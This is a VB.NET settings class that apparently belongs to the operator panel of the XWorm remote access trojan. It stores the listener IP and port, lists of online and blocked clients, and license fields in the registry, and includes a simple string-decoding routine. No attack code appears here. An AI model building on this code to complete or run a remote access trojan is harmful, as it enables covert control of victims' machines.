Imports Microsoft.Win32

Public Class SettingsHelper

    Public Shared Port As Integer
    Public Shared ReadOnly SPL As String = "<XWormmm>"
    Public Shared KEY As String
    Public Shared IP As String

    Public Shared NOTEF As Boolean
    Public Shared User As String

    Public Shared Screens As Boolean = False

    Public Shared Online As New List(Of Client)
    Public Shared Blocked As New List(Of String)

    Public Shared RegSave As String = "Software\xXWormV6Xx"

    Public Shared ListViewSafeThreading As Object = New Object

    Public Shared LicenseExpire As String

    Public Shared Received As Long = 0
    Public Shared Sent As Long = 0
    Public Shared MSGS As Integer = 0

    Private Shared name As String
    Private Shared ownerid As String
    Private Shared secret As String
    Private Shared version As String

    Public Shared Function NerakarWashen(ByVal proj As String, ByVal key As String) As String
        Dim Txt As String = ""
        For i As Integer = 1 To proj.Length
            Dim temp As Integer = AscW(GetChar(proj, i)) - AscW(GetChar(key, (i Mod key.Length) + 1))
            Txt += ChrW(temp)
        Next
        Return Txt
    End Function

    Public Shared Sub SaveToRegistry()
        Try
            Dim rootKey As RegistryKey = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Default)
            Dim key As RegistryKey = rootKey.CreateSubKey(RegSave)

            key.SetValue("IP", IP)
            key.SetValue("Port", Port)
            key.SetValue("User", User)
            key.SetValue("LicenseExpire", LicenseExpire)
            key.SetValue("AppName", name)
            key.SetValue("OwnerId", ownerid)
            key.SetValue("Secret", secret)
            key.SetValue("Version", version)

            key.Close()
            rootKey.Close()
        Catch ex As Exception
            MsgBox("Failed to save settings to registry: " & ex.Message)
        End Try
    End Sub

    Public Shared Sub LoadFromRegistry()
        Try
            Dim rootKey As RegistryKey = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Default)
            Dim key As RegistryKey = rootKey.OpenSubKey(RegSave)

            If key IsNot Nothing Then
                IP = key.GetValue("IP", "").ToString()
                Port = Convert.ToInt32(key.GetValue("Port", 0))
                User = key.GetValue("User", "").ToString()
                LicenseExpire = key.GetValue("LicenseExpire", "").ToString()
                name = key.GetValue("AppName", "").ToString()
                ownerid = key.GetValue("OwnerId", "").ToString()
                secret = key.GetValue("Secret", "").ToString()
                version = key.GetValue("Version", "").ToString()

                key.Close()
            End If

            rootKey.Close()
        Catch ex As Exception
            MsgBox("Failed to load settings from registry: " & ex.Message)
        End Try
    End Sub

End Class